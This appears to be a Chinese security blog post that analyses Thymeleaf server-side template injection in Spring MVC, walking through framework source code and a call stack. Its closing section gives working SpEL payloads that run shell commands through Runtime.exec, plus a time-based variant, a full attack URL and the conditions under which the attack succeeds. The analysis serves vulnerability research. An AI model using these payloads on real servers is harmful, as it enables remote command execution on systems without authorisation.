Java安全之Thymeleaf 模板注入分析
Java安全之Thymeleaf 模板注入分析
前言
沉下心学习点东西
Spring mvc解析流程
Spring配置DispatcherServlet
进行前端控制器拦截请求,流程来到 org.springframework.web.servlet.DispatcherServlet#doService
调用this.doDispatch
org.springframework.web.servlet.DispatcherServlet#doDispatch
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
/**
* 声明变量 HttpServletRequest HandlerExecutionChain Handler执行链包含和最扣执行的Handler
*/
HttpServletRequest processedRequest = request;
HandlerExecutionChain mappedHandler = null;
//是不是一个多组件请求
boolean multipartRequestParsed = false;
//异步管理器
WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
try {
//视图
ModelAndView mv = null;
//异常
Exception dispatchException = null;
try {
/**
* 1.检查是否上传请求
*/
processedRequest = checkMultipart(request);
multipartRequestParsed = (processedRequest != request);
// Determine handler for the current request.
/**
* 2.根据processedRequest获取映射的Handler执行链 HandlerExecutionChain
* 有当前请求的Handler和Inteceptor
*/
mappedHandler = getHandler(processedRequest);
if (mappedHandler == null) {
/**
* 如果mappedHandler为空就返回404
*/
noHandlerFound(processedRequest, response);
return;
}
/**
* 3.根据mappedHandler HandlerExecutionChain HandlerAdapter适配器
*/
// 确定当前请求的处理程序适配器。
HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());
/**
* 获取请求方法
* 处理last-modified 请求头
*/
// Process last-modified header, if supported by the handler.
String method = request.getMethod();
boolean isGet = "GET".equals(method);
if (isGet || "HEAD".equals(method)) {
//获取最近修改时间,缓存
long lastModified = ha.getLastModified(request, mappedHandler.getHandler());
if (new ServletWebRequest(request, response).checkNotModified(lastModified) && isGet) {
return;
}
}
/**
* 4.预处理,执行拦截器等
*/
if (!mappedHandler.applyPreHandle(processedRequest, response)) {
return;
}
/**
* 5.实现执行Controller中(Handler)的方法,返回ModelAndView视图
*/
// Actually invoke the handler.
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
if (asyncManager.isConcurrentHandlingStarted()) {
/**
* 判断 是不是异步请求,是就返回了
*/
return;
}
/**
* 6.对象视图对象的处理
*/
applyDefaultViewName(processedRequest, mv);
/**
* 7.拦截器后后置处理
*/
mappedHandler.applyPostHandle(processedRequest, response, mv);
}
catch (Exception ex) {
dispatchException = ex;
}
catch (Throwable err) {
// As of 4.3, we're processing Errors thrown from handler methods as well,
// 使它们可用于@异常处理程序方法和其他场景。
dispatchException = new NestedServletException("Handler dispatch failed", err);
}
/**
* 8.对页面渲染
*/
processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
}
catch (Exception ex) {
/**
* 9.对页面渲染完成里调用拦截器中的AfterCompletion方法
*/
triggerAfterCompletion(processedRequest, response, mappedHandler, ex);
}
catch (Throwable err) {
/**
* 最终对页面渲染完成里调用拦截器中的AfterCompletion方法
*/
triggerAfterCompletion(processedRequest, response, mappedHandler,
new NestedServletException("Handler processing failed", err));
}
finally {
if (asyncManager.isConcurrentHandlingStarted()) {
// Instead of postHandle and afterCompletion
if (mappedHandler != null) {
mappedHandler.applyAfterConcurrentHandlingStarted(processedRequest, response);
}
}
else {
//清除由多个部分组成的请求使用的所有资源。
if (multipartRequestParsed) {
cleanupMultipart(processedRequest);
}
}
}
}
获取Handler
org.springframework.web.servlet.DispatcherServlet#getHandler
protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
if (this.handlerMappings != null) {
/**
* 遍历handlerMappings 映射器
*/
for (HandlerMapping mapping : this.handlerMappings) {
//根据请求获取HandlerExecutionChain
HandlerExecutionChain handler = mapping.getHandler(request);
if (handler != null) {
return handler;
}
}
}
return null;
}
- handlerMappings:处理器映射,保存了每一个处理器可以处理哪些请求的方法的映射信息。
org.springframework.web.servlet.DispatcherServlet#getHandler
public final HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
/**
* 根据请求获取Handler
*/
Object handler = getHandlerInternal(request);
if (handler == null) {
/**
* 如果为空就使得默认的
*/
handler = getDefaultHandler();
}
if (handler == null) {
return null;
}
// Bean名称或解析处理程序
if (handler instanceof String) {
String handlerName = (String) handler;
handler = obtainApplicationContext().getBean(handlerName);
}
/**
* 获取HandlerExecutionChain
*/
HandlerExecutionChain executionChain = getHandlerExecutionChain(handler, request);
if (logger.isTraceEnabled()) {
logger.trace("Mapped to " + handler);
}
else if (logger.isDebugEnabled() && !request.getDispatcherType().equals(DispatcherType.ASYNC)) {
logger.debug("Mapped to " + executionChain.getHandler());
}
/**
* 跨域配置
*/
if (CorsUtils.isCorsRequest(request)) {
CorsConfiguration globalConfig = this.corsConfigurationSource.getCorsConfiguration(request);
CorsConfiguration handlerConfig = getCorsConfiguration(handler, request);
CorsConfiguration config = (globalConfig != null ? globalConfig.combine(handlerConfig) : handlerConfig);
executionChain = getCorsHandlerExecutionChain(request, executionChain, config);
}
return executionChain;
}
org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#getHandlerInternal
protected HandlerMethod getHandlerInternal(HttpServletRequest request) throws Exception {
String lookupPath = this.getUrlPathHelper().getLookupPathForRequest(request);//获取请求路径
request.setAttribute(LOOKUP_PATH, lookupPath);
this.mappingRegistry.acquireReadLock();
HandlerMethod var4;
try {
HandlerMethod handlerMethod = this.lookupHandlerMethod(lookupPath, request);
var4 = handlerMethod != null ? handlerMethod.createWithResolvedBean() : null;
} finally {
this.mappingRegistry.releaseReadLock();
}
return var4;
}
org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#lookupHandlerMethod
protected HandlerMethod lookupHandlerMethod(String lookupPath, HttpServletRequest request) throws Exception {
List<Match> matches = new ArrayList<>();
/**
* 根据URL获取匹配 ,可以匹配到多个
* 通过uri直接在注册的RequestMapping中获取对应的RequestMappingInfo列表,需要注意的是,
* 这里进行查找的方式只是通过url进行查找,但是具体哪些RequestMappingInfo是匹配的,还需要进一步过滤
*/
List<T> directPathMatches = this.mappingRegistry.getMappingsByUrl(lookupPath);
if (directPathMatches != null) {
/**
* 如果匹配的就添到上面的集合中
*/
addMatchingMappings(directPathMatches, matches, request);
}
if (matches.isEmpty()) {
// 如果无法通过uri进行直接匹配,则对所有的注册的RequestMapping进行匹配,这里无法通过uri
// 匹配的情况主要有三种:
// ①在RequestMapping中定义的是PathVariable,如/user/detail/{id};
// ②在RequestMapping中定义了问号表达式,如/user/?etail;
// ③在RequestMapping中定义了*或**匹配,如/user/detail/**
// No choice but to go through all mappings...
addMatchingMappings(this.mappingRegistry.getMappings().keySet(), matches, request);
}
if (!matches.isEmpty()) {
/**
* 使用生成一个比较器
* 对匹配的结果进行排序,获取相似度最高的一个作为结果返回,这里对相似度的判断时,
*
*/
Comparator<Match> comparator = new MatchComparator(getMappingComparator(request));
//使用比较器排序
matches.sort(comparator);
//排序后第一个是最好的,获取匹配程度最高的一个匹配结果
Match bestMatch = matches.get(0);
if (matches.size() > 1) {
if (logger.isTraceEnabled()) {
logger.trace(matches.size() + " matching mappings: " + matches);
}
if (CorsUtils.isPreFlightRequest(request)) {
return PREFLIGHT_AMBIGUOUS_MATCH;
}
Match secondBestMatch = matches.get(1);
/**
* 会判断前两个是否相似度是一样的,如果是一样的,则直接抛出异常,如果不相同,
*/
if (comparator.compare(bestMatch, secondBestMatch) == 0) {
Method m1 = bestMatch.handlerMethod.getMethod();
Method m2 = secondBestMatch.handlerMethod.getMethod();
String uri = request.getRequestURI();
throw new IllegalStateException(
"Ambiguous handler methods mapped for '" + uri + "': {" + m1 + ", " + m2 + "}");
}
}
request.setAttribute(BEST_MATCHING_HANDLER_ATTRIBUTE, bestMatch.handlerMethod);
//这里主要是对匹配结果的一个处理,主要包含对传入参数和返回的MediaType的处理
handleMatch(bestMatch.mapping, lookupPath, request);
return bestMatch.handlerMethod;
}
else {
return handleNoMatch(this.mappingRegistry.getMappings().keySet(), lookupPath, request);
}
}
org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#addMatchingMappings
回到org.springframework.web.servlet.DispatcherServlet#doDispatch
执行流程
调用HandlerAdapter ha = this.getHandlerAdapter(mappedHandler.getHandler());
protected HandlerAdapter getHandlerAdapter(Object handler) throws ServletException {
if (this.handlerAdapters != null) {
for (HandlerAdapter adapter : this.handlerAdapters) {
//判断处理器是否支持
if (adapter.supports(handler)) {
return adapter;
}
}
}
throw new ServletException("No adapter for handler [" + handler +
"]: The DispatcherServlet configuration needs to include a HandlerAdapter that supports this handler");
}
找到目标处理器的适配器,用适配器执行目标方法。
执行interceptors#preHandle
流程走到下面代码
if (!mappedHandler.applyPreHandle(processedRequest, response)) {
return;
}
boolean applyPreHandle(HttpServletRequest request, HttpServletResponse response) throws Exception {
HandlerInterceptor[] interceptors = this.getInterceptors();
if (!ObjectUtils.isEmpty(interceptors)) {
for(int i = 0; i < interceptors.length; this.interceptorIndex = i++) {
HandlerInterceptor interceptor = interceptors[i];
if (!interceptor.preHandle(request, response, this.handler)) {
this.triggerAfterCompletion(request, response, (Exception)null);
return false;
}
}
}
return true;
}
获取interceptor拦截器,进行比遍历调用preHandle
方法,这里没配置interceptor
,获取到自动配置的2个拦截器。
ConversionServiceExposingInterceptor、ResourceUrlProviderExposingInterceptor
调用Handle
流程继调用回到org.springframework.web.servlet.DispatcherServlet#doDispatch
调用mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#handleInternal
protected ModelAndView handleInternal(HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {
this.checkRequest(request);
ModelAndView mav;
if (this.synchronizeOnSession) {
HttpSession session = request.getSession(false);
if (session != null) {
Object mutex = WebUtils.getSessionMutex(session);
synchronized(mutex) {
mav = this.invokeHandlerMethod(request, response, handlerMethod);
}
} else {
mav = this.invokeHandlerMethod(request, response, handlerMethod);
}
} else {
mav = this.invokeHandlerMethod(request, response, handlerMethod);
}
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#invokeHandlerMethod
// 它的作用就是执行目标的HandlerMethod,然后返回一个ModelAndView
@Nullable
protected ModelAndView invokeHandlerMethod(HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {
ServletWebRequest webRequest = new ServletWebRequest(request, response);
// 注意:此处只有try-finally
// 因为invocableMethod.invokeAndHandle(webRequest, mavContainer)是可能会抛出异常的(交给全局异常处理)
try {
// 最终创建的是一个ServletRequestDataBinderFactory,持有所有@InitBinder的method方法们
WebDataBinderFactory binderFactory = getDataBinderFactory(handlerMethod);
// 创建一个ModelFactory,@ModelAttribute啥的方法就会被引用进来
ModelFactory modelFactory = getModelFactory(handlerMethod, binderFactory);
// 把HandlerMethod包装为ServletInvocableHandlerMethod,具有invoke执行的能力喽
// 下面这几部便是一直给invocableMethod的各大属性赋值~~~
ServletInvocableHandlerMethod invocableMethod = createInvocableHandlerMethod(handlerMethod);
if (this.argumentResolvers != null) {
invocableMethod.setHandlerMethodArgumentResolvers(this.argumentResolvers);
}
if (this.returnValueHandlers != null) {
invocableMethod.setHandlerMethodReturnValueHandlers(this.returnValueHandlers);
}
invocableMethod.setDataBinderFactory(binderFactory);
invocableMethod.setParameterNameDiscoverer(this.parameterNameDiscoverer);
ModelAndViewContainer mavContainer = new ModelAndViewContainer();
// 把上个request里的值放进来到本request里
mavContainer.addAllAttributes(RequestContextUtils.getInputFlashMap(request));
// model工厂:把它里面的Model值放进mavContainer容器内(此处@ModelAttribute/@SessionAttribute啥的生效)
modelFactory.initModel(webRequest, mavContainer, invocableMethod);
mavContainer.setIgnoreDefaultModelOnRedirect(this.ignoreDefaultModelOnRedirect);
AsyncWebRequest asyncWebRequest = WebAsyncUtils.createAsyncWebRequest(request, response);
asyncWebRequest.setTimeout(this.asyncRequestTimeout);
WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
asyncManager.setTaskExecutor(this.taskExecutor);
asyncManager.setAsyncWebRequest(asyncWebRequest);
asyncManager.registerCallableInterceptors(this.callableInterceptors);
asyncManager.registerDeferredResultInterceptors(this.deferredResultInterceptors);
// 它不管是不是异步请求都先用AsyncWebRequest 包装了一下,但是若是同步请求
// asyncManager.hasConcurrentResult()肯定是为false的~~~
if (asyncManager.hasConcurrentResult()) {
Object result = asyncManager.getConcurrentResult();
mavContainer = (ModelAndViewContainer) asyncManager.getConcurrentResultContext()[0];
asyncManager.clearConcurrentResult();
LogFormatUtils.traceDebug(logger, traceOn -> {
String formatted = LogFormatUtils.formatValue(result, !traceOn);
return "Resume with async result [" + formatted + "]";
});
invocableMethod = invocableMethod.wrapConcurrentResult(result);
}
// 此处其实就是调用ServletInvocableHandlerMethod#invokeAndHandle()方法喽
// 关于它你可以来这里:https://fangshixiang.blog.csdn.net/article/details/98385163
// 注意哦:任何HandlerMethod执行完后都是把结果放在了mavContainer里(它可能有Model,可能有View,可能啥都木有~~)
// 因此最后的getModelAndView()又得一看
invocableMethod.invokeAndHandle(webRequest, mavContainer);
if (asyncManager.isConcurrentHandlingStarted()) {
return null;
}
return getModelAndView(mavContainer, modelFactory, webRequest);
} finally {
webRequest.requestCompleted();
}
}
调用invocableMethod.invokeAndHandle(webRequest, mavContainer, new Object[0]);
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle
public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception {
Object returnValue = this.invokeForRequest(webRequest, mavContainer, providedArgs);
this.setResponseStatus(webRequest);
if (returnValue == null) {
if (this.isRequestNotModified(webRequest) || this.getResponseStatus() != null || mavContainer.isRequestHandled()) {
this.disableContentCachingIfNecessary(webRequest);
mavContainer.setRequestHandled(true);
return;
}
}
//...
org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest
@Nullable
public Object invokeForRequest(NativeWebRequest request, @Nullable ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception {
Object[] args = this.getMethodArgumentValues(request, mavContainer, providedArgs);
if (this.logger.isTraceEnabled()) {
this.logger.trace("Arguments: " + Arrays.toString(args));
}
return this.doInvoke(args);
}
org.springframework.web.method.support.InvocableHandlerMethod#doInvoke
到这个地方会反射调用路由中类中的方法,并将参数进行传递
执行handle完成后,还会调用this.returnValueHandlers.handleReturnValue
方法
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
HandlerMethodReturnValueHandler handler = this.selectHandler(returnValue, returnType);
if (handler == null) {
throw new IllegalArgumentException("Unknown return value type: " + returnType.getParameterType().getName());
} else {
handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest);
}
}
调用handler.handleReturnValue
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
if (returnValue instanceof CharSequence) {
String viewName = returnValue.toString();
mavContainer.setViewName(viewName);
if (this.isRedirectViewName(viewName)) {
mavContainer.setRedirectModelScenario(true);
}
} else if (returnValue != null) {
throw new UnsupportedOperationException("Unexpected return type: " + returnType.getParameterType().getName() + " in method: " + returnType.getMethod());
}
}
protected boolean isRedirectViewName(String viewName) {
return PatternMatchUtils.simpleMatch(this.redirectPatterns, viewName) || viewName.startsWith("redirect:");
}
上面判断如果redirect:
开头,如果是的话则设置重定向的属性
回到org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#invokeHandlerMethod
这里调用this.getModelAndView
获取获取ModelAndView
对象
执行interceptors#postHandle
mappedHandler.applyPostHandle(processedRequest, response, mv);
void applyPostHandle(HttpServletRequest request, HttpServletResponse response, @Nullable ModelAndView mv) throws Exception {
HandlerInterceptor[] interceptors = this.getInterceptors();
if (!ObjectUtils.isEmpty(interceptors)) {
for(int i = interceptors.length - 1; i >= 0; --i) {
HandlerInterceptor interceptor = interceptors[i];
interceptor.postHandle(request, response, this.handler, mv);
}
}
}
遍历执行拦截器postHandle,与前一致。
执行模板渲染
this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException);
org.springframework.web.servlet.DispatcherServlet#doDispatch
private void processDispatchResult(HttpServletRequest request, HttpServletResponse response, @Nullable HandlerExecutionChain mappedHandler, @Nullable ModelAndView mv, @Nullable Exception exception) throws Exception {
boolean errorView = false;
if (exception != null) {
if (exception instanceof ModelAndViewDefiningException) {
this.logger.debug("ModelAndViewDefiningException encountered", exception);
mv = ((ModelAndViewDefiningException)exception).getModelAndView();
} else {
Object handler = mappedHandler != null ? mappedHandler.getHandler() : null;
mv = this.processHandlerException(request, response, handler, exception);
errorView = mv != null;
}
}
if (mv != null && !mv.wasCleared()) {
this.render(mv, request, response);
//...
protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception {
/**
* 国际化设置
*/
// Determine locale for request and apply it to the response.
Locale locale =
(this.localeResolver != null ? this.localeResolver.resolveLocale(request) : request.getLocale());
response.setLocale(locale);
/**
* 获取ViewName
*/
View view;
//success
String viewName = mv.getViewName();
if (viewName != null) {
/**
* 使用视图解析器获取完整的名称
*/
// We need to resolve the view name.
view = resolveViewName(viewName, mv.getModelInternal(), locale, request);
if (view == null) {
throw new ServletException("Could not resolve view with name '" + mv.getViewName() +
"' in servlet with name '" + getServletName() + "'");
}
}
else {
// 不需要查找:模型和视图对象包含实际的视图对象。
view = mv.getView();
if (view == null) {
throw new ServletException("ModelAndView [" + mv + "] neither contains a view name nor a " +
"View object in servlet with name '" + getServletName() + "'");
}
}
// 委托给视图对象进行呈现。
if (logger.isTraceEnabled()) {
logger.trace("Rendering view [" + view + "] ");
}
try {
if (mv.getStatus() != null) {
response.setStatus(mv.getStatus().value());
}
/**
* 渲染使用视图解析器
*/
view.render(mv.getModelInternal(), request, response);
}
catch (Exception ex) {
if (logger.isDebugEnabled()) {
logger.debug("Error rendering view [" + view + "]", ex);
}
throw ex;
}
}
这里viewName是前面调用Controller 的handle return的值。
spring mvc中return的值会作为模板进行渲染。
调用view.render(mv.getModelInternal(), request, response);
org.thymeleaf.spring5.view.ThymeleafView#renderFragment
protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
//...
String templateName;
Set markupSelectors;
if (!viewTemplateName.contains("::")) {
templateName = viewTemplateName;
markupSelectors = null;
} else {
IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);
FragmentExpression fragmentExpression;
try {
fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
}
这里有个判断,viewTemplateName中不包含::
则不会走到下面逻辑中。
org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String)
org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String)
public Expression parseExpression(IExpressionContext context, String input) {
Validate.notNull(context, "Context cannot be null");
Validate.notNull(input, "Input cannot be null");
return (Expression)parseExpression(context, input, true);
}
org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String, boolean)
static IStandardExpression parseExpression(IExpressionContext context, String input, boolean preprocess) {
IEngineConfiguration configuration = context.getConfiguration();
String preprocessedInput = preprocess ? StandardExpressionPreprocessor.preprocess(context, input) : input;
IStandardExpression cachedExpression = ExpressionCache.getExpressionFromCache(configuration, preprocessedInput);
if (cachedExpression != null) {
return cachedExpression;
} else {
Expression expression = Expression.parse(preprocessedInput.trim());
if (expression == null) {
throw new TemplateProcessingException("Could not parse as expression: \"" + input + "\"");
} else {
ExpressionCache.putExpressionIntoCache(configuration, preprocessedInput, expression);
return expression;
}
}
}
org.thymeleaf.standard.expression.StandardExpressionPreprocessor#preprocess
final class StandardExpressionPreprocessor {
private static final char PREPROCESS_DELIMITER = '_';
private static final String PREPROCESS_EVAL = "\\_\\_(.*?)\\_\\_";
private static final Pattern PREPROCESS_EVAL_PATTERN = Pattern.compile("\\_\\_(.*?)\\_\\_", 32);
static String preprocess(IExpressionContext context, String input) {
if (input.indexOf(95) == -1) {
return input;
} else {
IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration());
if (!(expressionParser instanceof StandardExpressionParser)) {
return input;
} else {
Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input);
if (!matcher.find()) {
return checkPreprocessingMarkUnescaping(input);
} else {
StringBuilder strBuilder = new StringBuilder(input.length() + 24);
int curr = 0;
String remaining;
do {
remaining = checkPreprocessingMarkUnescaping(input.substring(curr, matcher.start(0)));
String expressionText = checkPreprocessingMarkUnescaping(matcher.group(1));
strBuilder.append(remaining);
IStandardExpression expression = StandardExpressionParser.parseExpression(context, expressionText, false);
if (expression == null) {
return null;
}
Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);
strBuilder.append(result);
curr = matcher.end(0);
} while(matcher.find());
remaining = checkPreprocessingMarkUnescaping(input.substring(curr));
strBuilder.append(remaining);
return strBuilder.toString().trim();
}
}
}
}
前面判断如果不存在_
字符,直接返回,不做解析处理。
调用 PREPROCESS_EVAL_PATTERN.matcher(input);
,进行正则提取,这里提取的是__
中间的内容。
提取后获取到的内容是${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a Calculator.app").getInputStream()).next()}
调用expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);
进行表达式执行
public Object execute(IExpressionContext context, StandardExpressionExecutionContext expContext) {
Validate.notNull(context, "Context cannot be null");
IStandardVariableExpressionEvaluator variableExpressionEvaluator = StandardExpressions.getVariableExpressionEvaluator(context.getConfiguration());
Object result = execute(context, this, variableExpressionEvaluator, expContext);
return LiteralValue.unwrap(result);
}
调用execute->SimpleExpression.executeSimple(context, (SimpleExpression)expression, expressionEvaluator, expContext);->VariableExpression.executeVariableExpression(context, (VariableExpression)expression, expressionEvaluator, expContext);
调用链
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
execute:130, ReflectiveMethodExecutor (org.springframework.expression.spel.support)
getValueInternal:112, MethodReference (org.springframework.expression.spel.ast)
getValueInternal:95, MethodReference (org.springframework.expression.spel.ast)
getValueRef:61, CompoundExpression (org.springframework.expression.spel.ast)
getValueInternal:91, CompoundExpression (org.springframework.expression.spel.ast)
createNewInstance:114, ConstructorReference (org.springframework.expression.spel.ast)
getValueInternal:100, ConstructorReference (org.springframework.expression.spel.ast)
getValueRef:55, CompoundExpression (org.springframework.expression.spel.ast)
getValueInternal:91, CompoundExpression (org.springframework.expression.spel.ast)
getValue:112, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:330, SpelExpression (org.springframework.expression.spel.standard)
evaluate:263, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
executeVariableExpression:166, VariableExpression (org.thymeleaf.standard.expression)
executeSimple:66, SimpleExpression (org.thymeleaf.standard.expression)
execute:109, Expression (org.thymeleaf.standard.expression)
execute:138, Expression (org.thymeleaf.standard.expression)
preprocess:91, StandardExpressionPreprocessor (org.thymeleaf.standard.expression)
parseExpression:120, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:62, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:44, StandardExpressionParser (org.thymeleaf.standard.expression)
renderFragment:278, ThymeleafView (org.thymeleaf.spring5.view)
render:189, ThymeleafView (org.thymeleaf.spring5.view)
render:1373, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1118, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1057, DispatcherServlet (org.springframework.web.servlet)
doService:943, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:634, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:526, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:408, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:861, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1579, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
漏洞利用
关于POC
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
__${T(java.lang.Thread).sleep(10000)}__::...
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::...
POC最后面.x
,前面的解析流程没看到处理。
利用条件
- 不使用
@ResponseBody
注解或者RestController注解 - 模板名称由
redirect:
或forward:
开头(不走ThymeleafView渲染)即无法利用 - 参数中有
HttpServletResponse
,设置为HttpServletResponse,Spring认为它已经处理了HTTP
Response,因此不会发生视图名称解析。
redirect和forward无法利用原因
从viewName获取为redirect和forward机返回一个RedirectView或InternalResourceView,这里就不会走ThymeleafView
解析。
无法回显问题
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}
测试发现fragment方法使用回显POC没法回显
单步调试发现原因是因为payload位置的问题
片段选择器,templatename::selector
fragment中payload前面有::
,所以payload在selector位置,这里会抛异常,导致没法回显成功。
而在templatename
位置不会。
Path URI
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
http://127.0.0.1:8090/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator.app%22).getInputStream()).next()%7d__::.x
这时返回值为空,并没有返回视图名,此时的视图名会从 URI 中获取,实现的代码在org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator#getViewName
中
public String getViewName(HttpServletRequest request) {
String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
return this.prefix + this.transformPath(lookupPath) + this.suffix;
}
public String getViewName(HttpServletRequest request) {
String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
return this.prefix + this.transformPath(lookupPath) + this.suffix;
}
@Nullable
protected String transformPath(String lookupPath) {
String path = lookupPath;
if (this.stripLeadingSlash && lookupPath.startsWith("/")) {
path = lookupPath.substring(1);
}
if (this.stripTrailingSlash && path.endsWith("/")) {
path = path.substring(0, path.length() - 1);
}
if (this.stripExtension) {
path = StringUtils.stripFilenameExtension(path);
}
if (!"/".equals(this.separator)) {
path = StringUtils.replace(path, "/", this.separator);
}
return path;
}
public static String stripFilenameExtension(String path) {
int extIndex = path.lastIndexOf(46);
if (extIndex == -1) {
return path;
} else {
int folderIndex = path.lastIndexOf("/");
return folderIndex > extIndex ? path : path.substring(0, extIndex);
}
}
stripFilenameExtension
方法会把.
后面的内容给截断掉。这也是为什么需要在最后面加入.xxx
的原因。